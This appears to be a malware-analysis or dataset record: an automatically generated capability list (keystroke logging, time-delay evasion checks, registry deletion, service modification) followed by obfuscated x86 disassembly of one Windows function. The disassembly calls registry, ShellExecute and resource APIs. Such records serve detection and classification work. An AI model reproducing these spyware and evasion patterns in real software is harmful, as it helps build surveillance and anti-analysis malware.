Function at 0x10034311
Capabilities:
Allocate thread local storage
Check for time delay via gettickcount
Check os version
Create process on windows
Delete registry key
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get geographical location
Get memory capacity
Get system information on windows
Get thread local storage value
Log keystrokes via polling
Modify service
Parse pe header
Query environment variable
Query or enumerate registry value
Read .ini file
Set environment variable
Set thread local storage value
Terminate process

Disassembly:
mov eax, 0x10085709
call fcn.10083cb8
mov eax, 0x17b4
call fcn.10080470
push ebx
xor eax, eax
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x28], eax
xor ebx, ebx
mov dword [ebp - 0x58], 0xffffffff
inc ebx
mov dword [ebp - 0x18], 0xa8360e56
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
push esi
push edi
mov dword [ebp - 0x5c], ecx
jge 0x10034365
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5bc], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10034350
xor eax, eax
push 2
pop esi
push 9
mov dword [ebp - 0x28], eax
pop edi
jmp 0x10034418
push 3
lea ecx, [ebp - 0x1220]
call fcn.10017abd
xor eax, eax
lea ecx, [ebp - 0x1064]
mov dword [ebp - 4], eax
mov dword [ebp - 0x40], 0x263d
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x40], 0x451f1e28
mov dword [ebp - 0x40], 0xb4cf22a1
push esi
call fcn.10017abd
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x100343e1
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1220]
call fcn.10017b2a
mov dword [eax], 0xe77dd688
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x100343c2
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x100343f3
push dword [ebp - 0x3c]
call fcn.10017b2a
mov dword [eax], edi
inc dword [ebp - 0x3c]
lea ecx, [ebp - 0x1064]
cmp dword [ebp - 0x3c], esi
jl 0x100343e6
inc dword [ebp - 0x18]
call fcn.10017b25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1220]
call fcn.10017b25
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x10034373
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x58]
jg 0x100344b5
xor eax, eax
mov dword [ebp - 0x1c], 0xe510b2d4
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], 8
jl 0x10034448
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x5b8], 0xfffffffc
jne 0x1003445a
cmp dword [ebp - 0x18], eax
je 0x1003445a
mov eax, ebx
mov dword [ebp - 0x50], eax
xor edx, edx
mov ecx, dword [ebp - 0x5b8]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x5b4]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xdd50170a
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, 0xfffffffe
setne cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x58], eax
jmp 0x100344df
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100344c9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5bc], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100344bc
cmp dword [ebp - 0x18], 0xfffd
sbb eax, eax
inc eax
mov dword [ebp - 0x5b4], eax
push 3
lea ecx, [ebp - 0xbbc]
call fcn.10017abd
mov dword [ebp - 4], esi
xor eax, eax
mov dword [ebp - 0x3c], 0xb457102d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10034520
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbbc]
call fcn.10017b2a
mov dword [eax], 0xc692beaa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10034501
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x10034548
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xbbc]
call fcn.10017b2a
mov dword [eax], 0x9febb674
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x10034529
xor eax, eax
mov dword [ebp - 0x3c], 0x14
jmp 0x10034595
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x1c], 0xfffffff8
jmp 0x10034578
cmp byte [ebp - 0x29], 0
je 0x10034575
push eax
push eax
push 0x20
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
mov byte [ebp - 0x29], al
je 0x10034561
cmp byte [ebp - 0x29], 0
je 0x10034592
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
xor eax, eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xffffffff
jle 0x10034551
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbbc]
call fcn.10017b25
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x18], 0xa8360e56
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100345de
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x55c], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100345c9
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003468e
push 3
lea ecx, [ebp - 0x1130]
call fcn.10017abd
mov dword [ebp - 4], 3
lea ecx, [ebp - 0xf08]
mov dword [ebp - 0x40], 0x263d
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x40], 0x451f1e28
mov dword [ebp - 0x40], 0xb4cf22a1
push esi
call fcn.10017abd
xor eax, eax
mov byte [ebp - 4], 4
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x10034657
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1130]
call fcn.10017b2a
mov dword [eax], 0xe77dd688
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x10034638
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x10034669
push dword [ebp - 0x3c]
call fcn.10017b2a
mov dword [eax], edi
inc dword [ebp - 0x3c]
lea ecx, [ebp - 0xf08]
cmp dword [ebp - 0x3c], esi
jl 0x1003465c
inc dword [ebp - 0x18]
call fcn.10017b25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1130]
call fcn.10017b25
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x100345e6
mov eax, dword [ebp - 0x554]
cmp eax, dword [ebp - 0x58]
jg 0x1003472b
xor eax, eax
mov dword [ebp - 0x1c], 0xe510b2d4
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], 8
jl 0x100346be
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x558], 0xfffffffc
jne 0x100346d0
cmp dword [ebp - 0x18], eax
je 0x100346d0
mov eax, ebx
mov dword [ebp - 0x50], eax
xor edx, edx
mov ecx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov eax, dword [ebp - 0x554]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xdd50170a
setne cl
cmp eax, ecx
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, 0xfffffffe
setne cl
xor eax, eax
cmp ecx, edx
setne al
mov dword [ebp - 0x58], eax
jmp 0x10034755
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003473f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x55c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10034732
cmp dword [ebp - 0x18], 0xfffd
sbb eax, eax
inc eax
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x18], 3
xor edx, edx
mov dword [ebp - 0x20], 0xb2ab76d6
mov dword [ebp - 0x24], 0x46c3
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setne dl
xor ebx, ebx
cmp edx, 0x6525
setge bl
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x24]
jg 0x100347f5
cmp dword [ebp - 0x20], eax
jne 0x100347f5
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x100347ce
push eax
push 0x1f73
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
xor eax, eax
mov dword [ebp - 0x18], 0xa
jmp 0x100347ed
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x100347ea
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 7
jne 0x100347d7
jmp 0x10034846
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x10034817
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x16b0], 0x7b2415fb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100347fe
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10034840
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x1003483d
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x16b0], 0
jne 0x1003483b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jle 0x10034825
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1003481c
mov dword [ebp - 0x14], 0x4432
lea ecx, [ebp - 0xf20]
mov dword [ebp - 0x18], 0xfffe
mov dword [ebp - 0x34], 0xb0a3531f
push esi
call fcn.10017abd
push 5
pop ecx
xor eax, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], esi
jge 0x1003488b
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1610], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jl 0x10034877
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x100348a7
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xf20]
call fcn.10017b2a
mov dword [eax], 0x459c
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jl 0x10034890
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10034916
xor ebx, ebx
mov dword [ebp - 0x18], eax
inc ebx
jmp 0x1003490c
mov dword [ebp - 0x34], eax
jmp 0x100348f1
cmp byte [ebp - 0x29], 0
je 0x100348ee
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 0x29], al
jle 0x100348de
cmp byte [ebp - 0x29], 0
je 0x10034909
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100348d9
jmp 0x10034a32
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x18], eax
jmp 0x10034a28
push esi
lea ecx, [ebp - 0x750]
call fcn.10017abd
mov byte [ebp - 4], 6
xor eax, eax
mov dword [ebp - 0x50], 0x49f7fae0
mov dword [ebp - 0x58], 0x6354d184
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1003496f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x750]
call fcn.10017b2a
or dword [eax], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034954
xor eax, eax
mov dword [ebp - 0x34], 0xffffffe8
cmp dword [ebp - 0x34], 0xf
jl 0x10034a14
jmp 0x10034984
xor eax, eax
mov dword [ebp - 0x14], 0x9002fce4
lea ecx, [ebp - 0x750]
push eax
call fcn.10017b2a
xor eax, eax
lea ecx, [ebp - 0x750]
inc eax
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x750]
setne dl
xor ebx, ebx
cmp edx, 0xe85dc32c
setne bl
xor eax, eax
push eax
call fcn.10017b2a
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, 0xf8d36fbc
setne cl
add ecx, 0xffff
cmp eax, ecx
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
imul eax, dword [ebp - 0x14], 0x39bb
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x100349f7
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x58], 0xa7fcf623
inc dword [ebp - 0x38]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xf
jge 0x10034982
push 5
pop eax
lea ecx, [ebp - 0x750]
mov byte [ebp - 4], al
call fcn.10017b25
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x30
jge 0x1003492c
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x10034a48
push eax
push 0x257e
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
or ebx, 0xffffffff
lea ecx, [ebp - 0xf20]
mov dword [ebp - 4], ebx
call fcn.10017b25
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xb9f9b31
mov dword [ebp - 0x6a4], eax
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], eax
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 6
jmp 0x10034bd4
mov dword [ebp - 0x24], 0xc6f1bf50
lea ecx, [ebp - 0x8d8]
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], 7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10034ace
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8d8]
call fcn.10017b2a
mov dword [eax], 0x1d686a37
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034ab0
xor eax, eax
mov dword [ebp - 0x24], 0x10
jmp 0x10034ba8
mov dword [ebp - 0x20], eax
push 4
pop ecx
mov dword [ebp - 0xe54], ecx
mov dword [ebp - 0xe50], ecx
mov dword [ebp - 0xe4c], ecx
mov dword [ebp - 0xe48], ecx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10034b0b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x10034ba5
mov dword [ebp - 0x1c], eax
jmp 0x10034b2e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x77c], 0x233fd52
inc dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1c], eax
jl 0x10034b1d
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x8d8]
mov dword [ebp + eax*4 - 0x6a4], 0x3e38693
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6a4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6a4]
xor eax, eax
inc eax
mov dword [ebp - 0xe48], eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6a4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x6a4]
xor eax, eax
inc eax
mov dword [ebp - 0x77c], eax
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x24]
push 0
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
pop eax
jle 0x10034b18
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x18
je 0x10034ada
push eax
lea ecx, [ebp - 0x8d8]
call fcn.10017b2a
lea ecx, [ebp - 0x8d8]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], ebx
call fcn.10017b25
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xc
push esi
jg 0x10034a8d
mov dword [ebp - 0x54], ebx
lea ecx, [ebp - 0x1298]
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x734], eax
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10034c30
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1298]
call fcn.10017b2a
mov dword [eax], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034c16
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x72c], eax
inc ebx
jmp 0x10034c54
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10034c4e
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
xor eax, eax
inc dword [ebp - 0x72c]
cmp dword [ebp - 0x72c], ebx
jle 0x10034c3b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1298]
call fcn.10017b25
mov dword [ebp - 0x24], 0xa8360e56
mov eax, 0xf112
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
xor eax, eax
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x50], 0x8d38
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10034cbb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034ca3
xor eax, eax
mov dword [ebp - 0x138], 3
cmp dword [ebp - 0x138], eax
jl 0x10034cf6
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10034cee
push 0x25a
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
dec dword [ebp - 0x138]
jns 0x10034ccd
mov eax, dword [ebp - 0x13c]
add eax, dword [ebp - 0x138]
mov dword [ebp - 0x58], eax
je 0x10034d1c
mov dword [ebp - 0x58], 0xe1dfe009
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x58], eax
jmp 0x10034da0
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10034d54
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x408], 0xafca8629
xor eax, eax
inc dword [ebp - 0x1c]
inc eax
cmp dword [ebp - 0x1c], eax
jl 0x10034d36
xor ebx, ebx
xor eax, eax
inc ebx
inc dword [ebp - 0x50]
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x10034da0
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x13c], 0
je 0x10034d7e
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x10034d9b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x10034d9b
mov eax, dword [ebp - 0x408]
mov ecx, ebx
mov edx, dword [ebp - 0x408]
sub ecx, eax
mov eax, dword [ebp - 0x28]
imul edx, ecx
mov dword [ebp + eax*4 - 0x13c], edx
dec dword [ebp - 0x28]
jns 0x10034d5f
mov dword [ebp - 0x50], ebx
mov eax, 0xbdec7e1
mov dword [ebp - 0x18], 0xaeb9ae77
mov dword [ebp - 0x34], 0x55595070
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], eax
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x38], 0x44fe
mov dword [ebp - 0x48], 0x949e3b93
mov dword [ebp - 0x50], 8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x18]
je 0x10034f44
mov dword [ebp - 0x4c], 0xfff6
lea ecx, [ebp - 0xd60]
mov dword [ebp - 0x14], 0xb94d0f4f
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x28], 0x89276496
push esi
call fcn.10017abd
xor eax, eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x1c], eax
jmp 0x10034e5c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xd60]
call fcn.10017b2a
mov dword [eax], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10034e45
mov eax, dword [ebp - 0x4c]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setg dl
cmp edx, 4
jae 0x10034e83
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10034e85
mov eax, ebx
inc dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xa1d2daff
sbb eax, eax
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
inc ecx
sub ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
je 0x10034ebe
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10034ec0
inc eax
mov esi, eax
jmp 0x10034ec5
xor eax, eax
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0xd60]
call fcn.10017b2a
mov ecx, dword [ebp - 0x18]
imul ecx, esi
mov dword [eax], ecx
mov dword [ebp - 0x28], 0xffffffe3
jmp 0x10034f27
mov dword [ebp - 0x58], 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0xffffffe5
cmp dword [ebp - 0x20], 0xfffffff9
je 0x10034f24
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x10034f16
push eax
push 0x1da3
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
xor eax, eax
cmp dword [ebp - 0x58], eax
jne 0x10034f24
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff9
jne 0x10034efe
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x16
jge 0x10034ee2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd60]
call fcn.10017b25
push 2
pop esi
jmp 0x10035020
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x18], 0xffffffe8
jmp 0x10035016
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jge 0x10034f82
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x830], 0
xor eax, eax
inc dword [ebp - 0x3c]
inc eax
cmp dword [ebp - 0x3c], eax
jl 0x10034f64
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x3c], eax
jmp 0x10034f94
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x16c8], edi
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 4
jl 0x10034f87
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
test eax, eax
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4c]
setne cl
xor edx, edx
cmp ecx, eax
push 0
setg dl
xor ecx, ecx
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x4c]
cmp edx, eax
mov eax, dword [ebp - 0x28]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
sub ecx, 0x567d043c
cmp ecx, 0x58f2
setle al
mov dword [ebp - 0x16bc], eax
inc dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0x15
je 0x10034f55
mov eax, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov ecx, edi
dec dword [ebp - 0x48]
mov dword [ebp - 0x50], 0xa51e29af
mov eax, dword [ebp - 0x50]
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setge dl
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4f0]
imul edx, eax
mov eax, dword [ebp - 0x18]
add eax, edx
cmp eax, dword [ebp - 0x4f0]
jle 0x10035067
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10035067
mov eax, dword [ebp - 0x4f0]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
xor ebx, ebx
inc ebx
cmp eax, ebx
mov eax, dword [ebp - 0x4f8]
setle cl
xor edx, edx
imul ecx, ecx, 0x18bf
sub ecx, eax
mov dword [ebp - 0x4f0], ecx
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100350bf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x568], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100350aa
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], esi
jg 0x1003524a
push 3
lea ecx, [ebp - 0x1148]
call fcn.10017abd
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0xb20]
mov dword [ebp - 0x40], 0x263d
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x40], 0xfffffffc
push 3
call fcn.10017abd
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x3c], 0xb457102d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x10035136
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb20]
call fcn.10017b2a
mov dword [eax], 0xc692beaa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10035117
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1003515e
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xb20]
call fcn.10017b2a
mov dword [eax], 0x9febb674
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 3
jl 0x1003513f
xor eax, eax
mov dword [ebp - 0x3c], 0x14
jmp 0x100351ab
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x1c], 0xfffffff8
jmp 0x1003518e
cmp byte [ebp - 0x29], 0
je 0x1003518b
push eax
push eax
push 0x20
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe5
mov byte [ebp - 0x29], al
